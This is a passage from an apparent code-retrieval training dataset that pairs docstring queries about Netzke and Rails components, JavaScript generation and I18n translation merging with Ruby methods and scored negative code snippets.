instance_variables_hash\n {}\n end" ]
[ "0.68288743", "0.6606852", "0.6599132", "0.6599132", "0.645475", "0.6347905", "0.61376214", "0.5947426", "0.5925811", "0.5888696", "0.583883", "0.5829227", "0.578068", "0.5765497", "0.57645583", "0.57635915", "0.5725941", "0.5715021", "0.56984115", "0.5687548", "0.56468475", "0.5605033", "0.5591442", "0.55896926", "0.5578903", "0.5561738", "0.555934", "0.55457455", "0.5543642", "0.55279624", "0.5527255", "0.5505905", "0.5505854", "0.55007267", "0.5492105", "0.5484783", "0.5478278", "0.54705423", "0.54674447", "0.54516655", "0.5439033", "0.5433442", "0.54308665", "0.5426476", "0.5411445", "0.54004586", "0.53926826", "0.53926826", "0.5390789", "0.5389087", "0.53844345", "0.53794056", "0.53786665", "0.5358737", "0.53420746", "0.53417426", "0.5340973", "0.53407246", "0.5334248", "0.53201455", "0.5308026", "0.5284844", "0.52835", "0.52833134", "0.528169", "0.5281092", "0.52777755", "0.5274168", "0.52652216", "0.52474904", "0.52438354", "0.5242739", "0.52408856", "0.5240286", "0.5227069", "0.522022", "0.52144474", "0.5212916", "0.5208145", "0.52076757", "0.52050674", "0.52027893", "0.520205", "0.5201389", "0.51980203", "0.51964957", "0.5195123", "0.5193323", "0.5193323", "0.51885086", "0.51825625", "0.518229", "0.51822776", "0.5177142", "0.5173791", "0.51687634", "0.51677024", "0.51627713", "0.51620543", "0.5160363" ]
0.6792842
1
All the JScode required by this instance of the component to be instantiated in the browser, excluding cached code. It includes JSclasses for the parents, eagerly loaded child components, and itself.
def js_missing_code(cached = []) code = dependency_classes.inject('') do |r, k| cached.include?(k.client_class_config.xtype) ? r : r + k.client_class_config.code_with_dependencies end code.blank? ? nil : Netzke::Core::DynamicAssets.minify_js(code) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def js_components\n @js_components ||= eagerly_loaded_components.inject({}) do |out, name|\n instance = component_instance(name.to_sym)\n out.merge(name => instance.js_config)\n end\n end", "def js_extend_properties\n {\n :init_component => js_init_component.l\n }\n end", "def injected_javascripts\n @javascript_codes || []\n end", "def initial_dynamic_javascript\n res = []\n # res << %(Ext.Ajax.extraParams = {authenticity_token: '#{form_authenticity_token}'}; // Rails' forgery protection)\n res << %{Ext.ns('Netzke');}\n res << %{Ext.ns('Netzke.core');}\n res << %{Netzke.RelativeUrlRoot = '#{ActionController::Base.config.relative_url_root}';}\n res << %{Netzke.RelativeExtUrl = '#{ActionController::Base.config.relative_url_root}/extjs';}\n\n res << %{Netzke.core.directMaxRetries = '#{Netzke::Core.js_direct_max_retries}';}\n\n res.join(\"\\n\")\n end", "def get\n self.instance ||= JavaScript::Runtime.new\n end", "def components_js\n Dir[src_path.join('components', '**', '*.js').to_s]\n end", "def javascript(path_name = 'wedge', options = {}, promise = false)\n if server?\n if path_name == 'wedge'\n @wedge_javascript ||= begin\n @wedge_javascript_loaded = true\n requires = {}\n\n @javascript_cache ||= {}\n\n components.to_h.each do |k, v|\n requires[k] = v.klass.wedge_config.get_requires\n javascript(v.klass.wedge_opts[:path_name])\n end\n\n compiled_requires = Base64.encode64 requires.to_json\n assets_key = opts.assets_key\n cache_assets = opts.cache_assets\n\n js = build(path_name, options).javascript\n js << Opal.compile(\"Wedge.instance_variable_set(:@requires, JSON.parse(Base64.decode64('#{compiled_requires}')))\")\n # fix: we need to just merge in all config opts and just reject\n # certain ones\n js << Opal.compile(\"Wedge.config.assets_key('#{assets_key}')\") if assets_key\n js << Opal.compile(\"Wedge.config.cache_assets('#{cache_assets}')\") if cache_assets\n ##############################################################\n js\n end\n else\n @javascript_cache[path_name] ||= begin\n js = build(path_name, options).javascript\n comp_name = components.to_h.select { |k, v| v.path_name == path_name }.first.last.name\n comp = Wedge[comp_name]\n options = comp.client_wedge_opts\n compiled_opts = Base64.encode64 options.to_json\n js << Opal.compile(\"Wedge.components[:#{comp_name}].klass.instance_variable_set(:@wedge_config, Wedge::Config.new(Wedge.components[:#{comp_name}].klass.wedge_config.opts_dup.merge(JSON.parse(Base64.decode64('#{compiled_opts}')))))\")\n end\n end\n else\n Wedge.loaded_requires ||= []\n Wedge.loaded_requires_events ||= []\n reqs = Wedge.requires[options[:name].to_sym].dup\n promise = Promise.new\n requires = get_requires(reqs)\n\n load_requires(requires.dup, promise)\n\n promise.then do\n load_comp(options).then do\n method_called = options[:method_called]\n method_args = options[:method_args]\n name = options[:name]\n comp = Wedge[name, options]\n\n Document.ready? do\n trigger_requires_events requires.dup\n comp.send(method_called, *method_args) if method_called\n comp.wedge_trigger :browser_events\n end\n end\n end\n end\n end", "def javascript\n if defined? Prawn::NameTree\n names.data[:JavaScript] ||= ref!(Prawn::NameTree::Node.new(self, NAME_TREE_CHILDREN_LIMIT))\n elsif defined? Prawn::Core\n names.data[:JavaScript] ||= ref!(Prawn::Core::NameTree::Node.new(self, NAME_TREE_CHILDREN_LIMIT))\n elsif defined? PDF::Core::NameTree\n names.data[:JavaScript] ||= ref!(PDF::Core::NameTree::Node.new(self, NAME_TREE_CHILDREN_LIMIT))\n else\n raise \"Can't find Prawn's NameTree!\"\n end\n end", "def js_init_component\n \n # Optional \"edit in form\"-related events\n edit_in_form_events = <<-END_OF_JAVASCRIPT if config[:edit_in_form_available]\n if (this.enableEditInForm) {\n this.getSelectionModel().on('selectionchange', function(selModel){\n var disabled;\n if (!selModel.hasSelection()) {\n disabled = true;\n } else {\n // Disable \"edit in form\" button if new record is present in selection\n disabled = !selModel.each(function(r){\n if (r.isNew) { return false; }\n });\n };\n this.actions.editInForm.setDisabled(disabled);\n }, this);\n }\n END_OF_JAVASCRIPT\n \n # Result\n <<-END_OF_JAVASCRIPT\n function(){\n // Original initComponent\n #{js_full_class_name}.superclass.initComponent.call(this);\n #{edit_in_form_events}\n }\n \n END_OF_JAVASCRIPT\n \n end", "def render_inline_on_load_javascripts\n return '' if @content_for_jquery_onload.blank? && @content_for_javascript_files_onload.blank?\n js_code = \"\\n<!-- DEFFERRED On page load Javascripts -->\\n\"\n on_load_scripts = [ ]\n #write the onload inline javascripts\n on_load_scripts << @content_for_jquery_onload if @content_for_jquery_onload\n #write the javascript files which are jammed into the document head\n on_load_scripts << @content_for_javascript_files_onload if @content_for_javascript_files_onload\n js_code << javascript_tag(j_query_on_load_tag(on_load_scripts)) unless on_load_scripts.blank?\n js_code\n end", "def inject_js; end", "def public_components\n [:stylesheet, :javascript, :image]\n end", "def java_script_object\n @js_wrapper\n end", "def js_includes\n end", "def initialize(runtime=nil)\n runtime ||= ExecJS.runtime\n @context = runtime.compile(self.class.source)\n end", "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_PLANS, JS_DATEPICKER, JS_JSON]\r\n end", "def components; end", "def initial_late_components\n {}\n end", "def render_deferred_javascript_tags\n # First write the onload inline javascripts\n js_code = ''\n js_code << render_deferred_javascript_files\n js_code << render_inline_javascripts\n js_code << render_inline_on_load_javascripts\n js_code\n end", "def required_components\n @required_components ||= \n begin\n @required_components = [ ]\n _env['CABAR_REQUIRED_COMPONENTS'].split(/\\s+/).each do | c_name |\n c = \n @component_by_name[c_name] ||= \n Component.factory.\n new(:_run_time => self, :name => c_name).\n initialize_from_env_var!\n\n @required_components << c\n end\n @required_components\n end\n end", "def web_browser_block_java_script\n return @web_browser_block_java_script\n end", "def initial_components\n {}\n end", "def js(*code)\n JS.new(*code)\nend", "def components\n\t\t\t@components ||= []\n\t\tend", "def js_dependencies_array\n if scripts != :none\n get_vendor_scripts\n get_gem_scripts\n end\n @js_array\n end", "def runtime\n @runtime ||= ExecJS.compile(source)\n end", "def runtime\n @runtime ||= ExecJS.compile(source)\n end", "def runtime\n @runtime ||= ExecJS.compile(source)\n end", "def inject_js=(_arg0); end", "def script\n scr = js_initialize \n # Method #each is delegated to element \n scr << \"\\n\"\n each { |c| \n # Note that Array#script is defined \n # in element.rb\n if c.respond_to?(:script) then\n scr << c.script \n end\n }\n scr << js_finalize\n scr\n end", "def javascripts_for_client(bundle_name = nil, opts = {})\n\n opts[:language] ||= language\n opts[:platform] ||= platform\n\n # Get bundle\n cur_bundle = bundle_name.nil? ? bundle : library.bundle_for(bundle_name)\n\n # Convert to a list of required bundles\n all_bundles = cur_bundle.all_required_bundles\n\n # For each bundle, get the ordered list of stylsheet urls\n urls = []\n all_bundles.each do |b|\n urls += b.sorted_javascript_entries(opts).map { |x| x.cacheable_url }\n end\n all_bundles.each do |b|\n urls += b.javascript_libs.reject { |lib| urls.include? lib } if b.javascript_libs\n end\n\n # Convert to HTML and return\n urls = urls.map do |url|\n %( <script type=\"text/javascript\" src=\"#{url}\"></script>)\n end\n\n # Add preferred language definition...\n urls << %(<script type=\"text/javascript\">String.preferredLanguage = \"#{language}\";</script>)\n\n urls.join(\"\\n\")\n end", "def create_components\n model = Sketchup.active_model\n definitions = model.definitions\n\n coworker_safe = definitions.load File.join(@libPath, \"CWorker-Safe.skp\")\n UI.messagebox coworker_safe.name\n end", "def initialize javascript_functions\n require File.join(File.dirname(__FILE__), %w{.. ext inline_java_script_v8_wrapper inline_java_script_v8_wrapper})\n\n @wrapper = InlineJavaScript::V8Wrapper.new\n @wrapper.execute(javascript_functions)\n end", "def components\n @components ||= enabled_components.map { |component| component.new(@context) }\n end", "def appoxy_javascripts\n '<script type=\"text/javascript\" src=\"http://www.google.com/jsapi?key=ABQIAAAAhes0f80sBcwL-h5xCNkkgxQBmiBpQeSpIciQPfZ5Ss-a60KXIRQOVvqzsNpqzhmG9tjky_5rOuaeow\"></script>\n <script type=\"text/javascript\">\n google.load(\"jquery\", \"1\");\n google.load(\"jqueryui\", \"1\");\n </script>\n '.html_safe\n end", "def build_js_funcs()\n\n js_out = \"\"\n @include_funcs.each do |fname|\n js_out << \"// #{fname}\\n\"\n raise NonExistantMJSError, \"_#{fname}.mjs does not exist in #{@mjs_path}.\" if @js_funcs[fname].nil? \n js_out << @js_funcs[fname].join()\n js_out << \"//\\n\"\n \n end\n return js_out\n end", "def javascript!\n @coffeescript = false\n end", "def render_js(js_code, options = {})\n component_name = options.fetch(:react_component_name, \"\")\n\n result_js_code = \"result = #{js_code}\"\n\n js_code_wrapper = <<-JS\n(function () {\n var result = '';\n #{ReactOnRails::ReactRenderer.wrap_code_with_exception_handler(result_js_code, component_name)}\n #{after_render};\n return result;\n})()\n JS\n\n trace_rails_on_maui = ENV[\"TRACE_REACT_ON_RAILS\"].present? # Set to anything to print generated code.\n if trace_rails_on_maui\n puts \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n puts \"react_renderer.rb: 92\"\n puts \"js_code_wrapper = #{js_code_wrapper.ai}\"\n puts \"wrote file tmp/server-generated.js\"\n File.write('tmp/server-generated.js', js_code_wrapper)\n puts \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n end\n\n @context.eval(js_code_wrapper)\n end", "def initialize\r\n @code_picked = []\r\n end", "def components\n @source.components\n end", "def components\n @source.components\n end", "def components\n @source.components\n end", "def components\n @source.components\n end", "def code_snippets\n raise Nanoc3::Errors::DataNotYetAvailable.new('Code snippets', false) unless @code_snippets_loaded\n @code_snippets\n end", "def build_load_func\n return_string = \"\"\n return_string << @onload_func[:head]\n return_string << to_javascript\n return_string << map_onload_func_body\n return_string << @onload_func[:tail]\n end", "def _compiled_assets_initial_hash\n CompiledAssetsHash.new\n end", "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_COMMENTS]\r\n end", "def deps_js(env={})\n # Because Server uses this on every call, it's best to never lock.\n # We grab a local goog so we don't need the lock if everything looks good.\n # This works because #refresh creates new @goog hashes instead of modifying.\n if (goog = @goog) and @last_been_run\n return goog[:deps_js]\n end\n @semaphore.synchronize do\n refresh(env)\n raise BaseJsNotFoundError unless @goog\n @goog[:deps_js]\n end\n end", "def prepare_js\n compile_templates\n compile_controllers\n end", "def initializer_function\n %{<script type=\"text/javascript\">\n var map_options = #{options_to_json};\n onload_before_#{name} = typeof window.onload == 'function' ? window.onload : function(){};\n window.onload = function(){\n onload_before_#{name};\n phoenix_cartographer.init_map('#{name}', map_options);\n map_options = null;\n }\n </script>\n }.minified!\n end", "def script\n @elements.map { |e|\n (e && !e.hidden? && !e.readonly? && e.respond_to?(:script))? e.script : ''\n }.join(\"\")\n end", "def get_vendor_scripts\n case map_provider\n when \"yandex\" then @js_array << YANDEX\n when \"openlayers\" then @js_array << OPENLAYERS\n when \"mapquest\" then @js_array << \"#{MAPQUEST}?key=#{provider_key}\"\n when \"bing\" then @js_array << BING\n else #case googlemaps which is the default\n @js_array << \"#{GOOGLE}&sensor=false&client=#{client}&key=#{provider_key}&libraries=geometry#{google_libraries}&#{google_map_i18n}\"\n @js_array << \"#{GOOGLE_EXT}tags/infobox/1.1.9/src/infobox_packed.js\" if custom_infowindow_class\n @js_array << \"#{GOOGLE_EXT}tags/markerclustererplus/2.0.14/src/markerclusterer_packed.js\" if do_clustering\n @js_array << \"#{GOOGLE_EXT}trunk/richmarker/src/richmarker-compiled.js\" if rich_marker\n end\n end", "def included_head_content\n included_widgets = [self.class] + output.widgets.to_a + extra_widgets\n Html5ExternalRenderer.new(:classes => included_widgets).to_html\n end", "def javascripts\n super + %w(js/custom.js)\nend", "def js name, version='', options={}\n component name, version, options.merge(js: true)\n end", "def components\n\n end", "def compile()\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n var rc;\n #{code.join(' ')}\n repl.rc_ok(rc);\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n self._code = []\n end", "def javascript_omit\n %w()\nend", "def build_web_preload_list\n \n # Define common locations.\n script_path = \"/common/client-web/js\"\n styles_path = \"/common/client-web/css\"\n images_path = \"/common/client-web/img\"\n theme_styles_path = \"/$theme/client-web/css\"\n theme_images_path = \"/$theme/client-web/img\"\n\n # Build initial list.\n list = I3::SharedObject.new(\n :scripts => {\n :core => \"#{script_path}/i3-core.js\",\n :nav => \"#{script_path}/i3-nav.js\"\n },\n :styles => {\n :core => \"#{styles_path}/i3-core.css\",\n :theme => \"#{theme_styles_path}/i3-theme.css\",\n :print => \"#{theme_styles_path}/i3-print.css\"\n },\n :images => [\n \"#{images_path}/navbar-buttons.png\"\n ]\n )\n\n # Add theme images.\n Dir[\"#{I3.resource(theme_images_path)}/*.{gif,jpg,png}\"].each do |img|\n list.images << \"#{theme_images_path}/#{File.basename(img)}\"\n end #collect\n \n # Assign revision identifiers to JavaScript and CSS files.\n list.scripts.each do |key, path|\n list.scripts[key] = path + \"/\" + File.mtime(I3.resource(path)).to_i.to_s(16)\n end #each\n list.styles.each do |key, path|\n list.styles[key] = path + \"/\" + File.mtime(I3.resource(path)).to_i.to_s(16)\n end #each\n \n list\n end", "def context\n @context ||= ExecJS.compile source\n end", "def j(javascript); end", "def render_js_includes\n return \"\".html_safe unless respond_to?(:javascript_includes) \n \n javascript_includes.uniq.collect do |args|\n javascript_include_tag(*args)\n end.join(\"\\n\").html_safe\n end", "def js_environment\n Hash.new do |h, k|\n k.to_s\n end\n end", "def netzke(name, config = {})\n @rendered_classes ||= []\n\n # if we are the first netzke call on the page, reset components hash in the session\n # if @rendered_classes.empty?\n # Netzke::Core.reset_components_in_session\n # end\n\n class_name = config[:class_name] ||= name.to_s.camelcase\n\n config[:name] = name\n\n # Register the component in session\n Netzke::Core.reg_component(config)\n\n w = Netzke::Base.instance_by_config(config)\n w.before_load # inform the component about initial load\n\n content_for :netzke_js_classes, raw(w.js_missing_code(@rendered_classes))\n\n content_for :netzke_css, raw(w.css_missing_code(@rendered_classes))\n\n content_for :netzke_on_ready, raw(\"#{w.js_component_instance}\\n\\n#{w.js_component_render}\")\n\n # Now mark this component's class as rendered (by storing it's xtype), so that we only generate it once per view\n @rendered_classes << class_name.to_s.gsub(\"::\", \"\").downcase unless @rendered_classes.include?(class_name)\n\n # Return the html for this component\n raw(w.js_component_html)\n end", "def available_components\n @available_components ||= {}\n end", "def process_and_build_components \n end", "def to_js\n \"var #{@name}\t\t= new GIcon();\n #{@name}.image\t\t= \\\"#{@image_url}\\\";\n #{@name}.shadow\t\t= \\\"#{@shadow_url}\\\";\n #{@name}.iconSize = new GSize(#{@width}, #{@height});\n #{@name}.shadowSize = new GSize(#{@shadow_width}, #{@shadow_height});\n #{@name}.iconAnchor = new GPoint(#{@anchor_x}, #{@anchor_y});\n #{@name}.infoWindowAnchor = new GPoint(#{@info_anchor_x}, #{@info_anchor_y});\n \"\n end", "def initialize(*params)\n super(*params)\n @script = Script.new(nil, init_parameters, logger)\n @script.js_eval @init if @init\n @js_filter = nil\n end", "def context\n @context ||= ExecJS.compile(source)\n end", "def javascript_compile_list\n\t[\t\n\t\t# Wordpress distributed JS (not monitored for changes...)\n\t\t#\"../../../wp-includes/js/jquery/jquery-migrate.min.js\",\n\t\t#\"../../../wp-includes/js/jquery/jquery.masonry.min.js\",\n\n\t\t# Theme JS\n\t\t\"js/jquery-1.11.0.js\",\n\t\t\"js/jquery-ui-1.10.4.datepicker.js\",\n\t\t\"js/jquery.cookie.js\",\n\t\t\"js/functions.js\",\n\t\t\"js/imagelightbox.js\",\n\t\t\"js/lightboxinit.js\",\n\t\t\"js/jflickrfeed.js\",\n\t\t\"js/flickrsetup.js\",\n\t\t\"js/vender.js\", \n\t\t\"js/scrollTo.js\",\n\t\t\"js/placeholder.js\",\n\t\t\"js/default.js\",\n\t\t\"js/campus-libraries.js\",\n\t\t\"js/find-a-library.js\",\n\t\t\"js/datepicker.js\",\n\t\t\"js/library.js\",\n\t\t\"js/directory.js\",\n\t\t\"js/liaison.js\",\n\t\t\"js/locations.js\",\n\t\t\"js/ask.js\",\n\t\t\"js/alerts.js\",\n\t\t\"js/google-support.js\",\n\t\t\"js/locate.js\"\n\t]\nend", "def jquery_script_declaration\n unless jqv_form_names.nil? || jqv_form_names.empty?\n @jqv_form_names.reduce(\":javascript\\n\") do |mem,name|\n mem + <<STR\n $().ready(function(){\n $(\"##{name}\").validate({\n #{JQueryValidation::Rules.render}\n });\n });\nSTR\n end\n else\n \"\" # just in case there are no forms for some reason\n end\n end", "def source\n source = source_compiler['jison.js'].to_s\n source_compiler.each_logical_path do |logical_path|\n next if logical_path == 'jison.js'\n src = source_compiler[logical_path].to_s\n logical_path.sub! /\\.js$/, ''\n source.concat \"require.def('#{logical_path}',{factory:function(require,exports,module){#{src}}});\"\n end\n source + \"var Dock = require('dock').Dock;\"\n end", "def scripts\n #Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if offline\n script(:src => '//ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js')\n script do\n rawtext(%{window.jQuery || document.write('<script src=\"#{js_urls(:lib).first}\"><\\\\/script>')})\n end\n #TODO should just be \"defer\" without attribute, but erector doesn't really do that\n js_urls(:app).each do |url|\n script(:defer => 'defer', :src => url) \n end\n \n #removed google analytics tag\n \n #Prompt IE 6 users to install Chrome Frame. Remove this if you want to support IE 6. \n # chromium.org/developers/how-tos/chrome-frame-getting-started\n comment('[if IE 7 ]') do\n script(:src => '//ajax.googleapis.com/ajax/libs/chrome-frame/1.0.3/CFInstall.min.js')\n script do\n rawtext(%{window.attachEvent('onload',function(){CFInstall.check({mode:'overlay'})})})\n end\n end\n \n yield if block_given?\n end", "def js_i18n\n @js_i18n ||= self.class.netzke_ancestors.inject({}) do |r, klass|\n hsh = klass.client_class_config.translated_properties.inject({}) { |h, t| h.merge(t => I18n.t(\"#{klass.i18n_id}.#{t}\")) }\n r.merge(hsh)\n end\n end", "def load_js\n AssetManager.include_contrib_library [:core_ui, :jquery_tab]\n AssetManager.include_local_library [ 'ckeditor/init']\n\n AssetManager.include_css [:blog_global]\n end", "def components\n @components ||= self.class.registered_components.inject({}){ |res, name| res.merge(name.to_sym => send(COMPONENT_METHOD_NAME % name)) }\n end", "def components\n @components ||= self.class.registered_components.inject({}){ |res, name| res.merge(name.to_sym => send(COMPONENT_METHOD_NAME % name)) }\n end", "def get_prototype()\n res = super(context,self)\n\n \n val_ref = JS::Value.from_pointer_with_context(context,res)\n ret = val_ref.to_ruby\n if ret.is_a?(JS::Value)\n return check_use(ret) || is_self(ret) || ret\n else\n return check_use(ret) || ret\n end\n \n \n end", "def initialize(custom_js = '', opts = {})\n load_js(custom_js, opts)\n end", "def call_as_constructor(argumentCount = 0,arguments = nil,exception = nil)\n res = super(context,self,argumentCount,arguments,exception)\n return check_use(res) || JS::Object.from_pointer_with_context(context,res)\n end", "def controller_javascript_tags\n \n lo_files = []\n \n required_cc_files.each do |f|\n fn = [f,\"js\"].join(\".\")\n unless Rails.application.assets.find_asset(fn).nil?\n lo_files << javascript_include_tag(fn)\n end\n end\n\n lo_files.join.html_safe\n\n end", "def scripts\n @parts.values.map(&:script).compact\n end", "def javascript_include_tag(*sources)\n behaviours = ''\n if sources.delete :acts_as_node\n #graph drawing\n root_dir = 'jsviz/0.3.3/'\n sources = sources.concat(\n ['physics/ParticleModel', 'physics/Magnet', 'physics/Spring', 'physics/Particle', 'physics/RungeKuttaIntegrator', 'geometry/SnowflakeGraphModel', 'layout/graph/ForceDirectedLayout', 'layout/graph/SnowflakeLayout', 'layout/view/HTMLGraphView', 'layout/view/SVGGraphView', 'util/Timer', 'util/EventHandler', 'io/DataGraph', 'io/JSVIZHTTP', 'io/XMLTreeLoader']\n ).uniq.map { |js_file| root_dir + js_file }\r\n sources = sources.concat(['tooltip/boxover'])\r\n end\n rails_javascript_include_tag(*sources)\n end", "def jsonProperties\n\n\t\t\t#self.addRuntimeObject({:_hooCanvas => @parentCanvas.varName });\n\n\t\t\tallItems = {\n\t\t\t}\n\n\t\t\tallItems.merge!( { :bindings => @bindings } ) unless @bindings.nil?\n\t\t\tallItems.merge!( { :javascriptActions => @javascriptActions } ) unless @javascriptActions.nil?\n\t\t\treturn allItems\n\n\t\tend", "def code\n # Start with config code\n code = @client ? generate_config_code : ''\n\n asset_files = AssetFiles.new(@component_name, @component_paths)\n asset_files.component_paths.each do |component_path, component_name|\n code << ComponentTemplates.new(component_path, component_name, @client).code\n code << \"\\n\\n\"\n end\n\n code\n end", "def js_generator\n Apotomo.js_generator\n end", "def netzke_js\n js=\"Ext.Ajax.extraParams = {authenticity_token: '#{form_authenticity_token}'}; // Rails' forgery protection\\n\"\n\n\n js << <<-END_OF_JAVASCRIPT if(!ActionController::Base.relative_url_root.blank?)\n // apply relative URL root, if set\n Ext.widgetMixIn.buildApiUrl= function(apip){\n return \"#{ActionController::Base.relative_url_root}/netzke/\" + this.id + \"__\" + apip;\n };\n Ext.BLANK_IMAGE_URL = \"#{ActionController::Base.relative_url_root}/extjs/resources/images/default/s.gif\";\n END_OF_JAVASCRIPT\n\n js << <<-END_OF_JAVASCRIPT\n #{@content_for_netzke_js_classes}\n Ext.onReady(function(){\n #{@content_for_netzke_on_ready}\n });\n END_OF_JAVASCRIPT\n\n javascript_tag js\n \n end", "def default_input_js; {} end", "def netzke_js_include\n send :\"netzke_#{Netzke::Core.platform}_js_include\"\n end", "def js_files\n [\n vue_lib_js, mixins_js, filters_js, components_js,\n pages_js, config_js\n ].flatten!\n end", "def progress_bar_includes\n return '<!-- jsProgressBarHandler core -->'+javascript_include_tag(\"progress_bar/jsProgressBarHandler.js\")\n end", "def init_js_binding\n @js_bind = {}\n end", "def initialize\n @design_components = Array.new\n end", "def base_js(env={})\n if (goog = @goog) and @last_been_run\n return \"#{goog[:base_js]}?#{goog[:base_js_mtime].to_i}\"\n end\n @semaphore.synchronize do\n refresh(env)\n raise BaseJsNotFoundError unless @goog\n @goog[:base_js]\n end\n end", "def scripts\n script_tag(fancyviews.included_scripts.map do |name, js|\n \"\\n/* -- #{name} -- */\\n\" + js\n end.join)\n end", "def to_html\n result = Array.new\n result << %Q{<div id=\"#{@div_id}\"></div>}\n result << %Q{<script type=\"text/javascript\" charset=\"utf-8\">}\n result << %Q{//<![CDATA[}\n result << %Q{/* Create a variable to hold the GMap2 instance and the icons in. */}\n result << %Q{var #{@name};}\n result << %Q{var #{@name}_icons;}\n result << \"\"\n # Yes, there are some really nice things that MSIE forces you to do!\n result << %Q|function #{@name}_loader() {|\n result << self.to_js\n result << %Q|}|\n result << \"\"\n result << %Q|if (window.addEventListener) { /* not MSIE */|\n result << %Q| window.addEventListener('load', function() { #{@name}_loader(); }, false);|\n result << %Q|} else { /* MSIE */|\n result << %Q| window.attachEvent('onload', function() { #{@name}_loader(); }, false);|\n result << %Q|}|\n result << \"\"\n\n # Add optional Javascript - like the GUnload() call.\n result << %Q|/* Optional Javascript */|\n if options[:register_gunload] then\n result << %Q|if (window.addEventListener) { /* not MSIE */|\n result << %Q| window.addEventListener('unload', function() { GUnload(); }, false);|\n result << %Q|} else { /* MSIE */|\n result << %Q| window.attachEvent('onunload', function() { GUnload(); }, false);|\n result << %Q|}|\n end\n \n result << %Q{// ]]>}\n result << %Q{</script>}\n \n return result.join(\"\\n\")\n end", "def javascript(path_name = 'wedge', options = {})\n path_name = path_name.to_s\n\n if server?\n javascript_cache[path_name] ||= begin\n build(path_name, options).to_s\n end\n else\n url = \"#{Wedge.assets_url_with_host}/#{options[:path]}.js\"\n cache = options[:cache_assets]\n\n `jQuery.ajax({ url: url, dataType: \"script\", cache: cache }).done(function() {`\n # fix: at the moment to_js called from the server will set the class\n # store for whatever method it calls. we need to think of a better idea\n # for global and local data store.\n Wedge.config.component_class[options[:name]].config.store = options[:store].indifferent\n\n if initialize_args = options.delete(:initialize_args)\n comp = Wedge[options[:name], *initialize_args]\n else\n comp = Wedge[options[:name]]\n end\n\n if options[:method_args].any?\n comp.send(options[:method_called], options[:method_args])\n else\n comp.send(options[:method_called])\n end\n\n Wedge.trigger_browser_events\n\n `}).fail(function(jqxhr, settings, exception){ window.console.log(exception); })`\n end\n end", "def components\n @world.get_components(self)\n end", "def data\n @data_js ||= (App::load_data path)\n end", "def build(app_class = ::Main)\n ret = []\n ret << all(:js, app_class).map { |p| p.compressor.build }\n ret << all(:css, app_class).map { |p| p.compressor.build }\n ret.flatten\n end" ]
[ "0.6987342", "0.62005204", "0.59476984", "0.57031167", "0.56941164", "0.5689748", "0.56699264", "0.55704015", "0.5471457", "0.5460117", "0.53911954", "0.53889585", "0.53390664", "0.5331553", "0.5321037", "0.53018314", "0.5296758", "0.5288552", "0.5284311", "0.52685255", "0.52417314", "0.52382857", "0.52253777", "0.5179918", "0.51698995", "0.5158144", "0.5158144", "0.5158144", "0.5155902", "0.5145714", "0.51290923", "0.5118285", "0.5096633", "0.50916564", "0.50756806", "0.5046694", "0.5046026", "0.504236", "0.5034408", "0.502149", "0.502149", "0.502149", "0.502149", "0.5005667", "0.4987468", "0.4976548", "0.49703598", "0.4963907", "0.4958058", "0.4952037", "0.49482647", "0.49477118", "0.4937694", "0.4937569", "0.4929274", "0.49267283", "0.48950052", "0.4877165", "0.48752144", "0.48656717", "0.48642197", "0.4861452", "0.48602274", "0.48506412", "0.48469555", "0.48300585", "0.48280603", "0.4822939", "0.4821368", "0.48186913", "0.48173007", "0.4797072", "0.47966748", "0.47820777", "0.47598073", "0.47567984", "0.47567984", "0.47543824", "0.4751089", "0.47466514", "0.47461316", "0.47456294", "0.4744677", "0.4738043", "0.47370937", "0.47357842", "0.473042", "0.47202793", "0.47169614", "0.4715962", "0.47132528", "0.4712722", "0.47064042", "0.47023588", "0.47017896", "0.46860304", "0.46838284", "0.4682554", "0.46745712", "0.46734256" ]
0.630698
1
Merges all the translations in the class hierarchy Note: this method can't be moved out to ClientClassConfig, because I18n is loaded only once, when other Ruby classes are evaluated; so, this must remain at instance level.
def js_i18n @js_i18n ||= self.class.netzke_ancestors.inject({}) do |r, klass| hsh = klass.client_class_config.translated_properties.inject({}) { |h, t| h.merge(t => I18n.t("#{klass.i18n_id}.#{t}")) } r.merge(hsh) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_translations\n super(@load_paths)\n end", "def load_translations\n super(@load_paths)\n end", "def translatable\n self._translatable[base_name] ||= []\n end", "def translations\n ::I18n.backend.instance_eval do\n init_translations unless initialized?\n translations\n end\n end", "def init_translations; end", "def translations\n raise \"i18n has no load_path(s)\" if ::I18n.load_path.empty?\n ::I18n.backend.instance_eval do\n init_translations unless initialized?\n translations\n end\n end", "def translations; end", "def inherited(klass)\n super\n klass.instance_variable_set(:@transforms, transforms.dup)\n klass.instance_variable_set(:@translations_hash, translations_hash.dup)\n end", "def update\n files = Dir[Rails.root.join(\"config\", \"locales\", \"*.yml\").to_s]\n\n @languages = {}\n files.each do |f|\n ar = YAML.load_file f\n lang = ar.keys.first\n if @languages.has_key?(lang.to_s)\n @languages[lang.to_s] = @languages[lang.to_s].deep_merge(ar.first[1])\n else\n @languages[lang.to_s] = ar.first[1]\n end\n end\n\n sync(@languages[I18n.default_locale.to_s])\n end", "def find_main_translations\n find_main_cached.translations.inject({}) { |memo, tr| memo[\"#{tr.namespace}/#{tr.tr_key}\"] = tr; memo }\n end", "def load_localization!\n reset_l10n_data\n\n # Load the rails localization\n if rails_localization_files\n rails_localization_files.each do |file|\n lang = File.basename(file, '.*')[0,2].downcase.to_sym\n # if a country is defined\n if File.basename(file, '.*')[3,5]\n country = File.basename(file, '.*')[3,5].upcase.to_sym\n @@countries << country if ( country != :* && !@@countries.include?(country) )\n if locales.include?(\"#{lang}-#{country}\".to_sym)\n 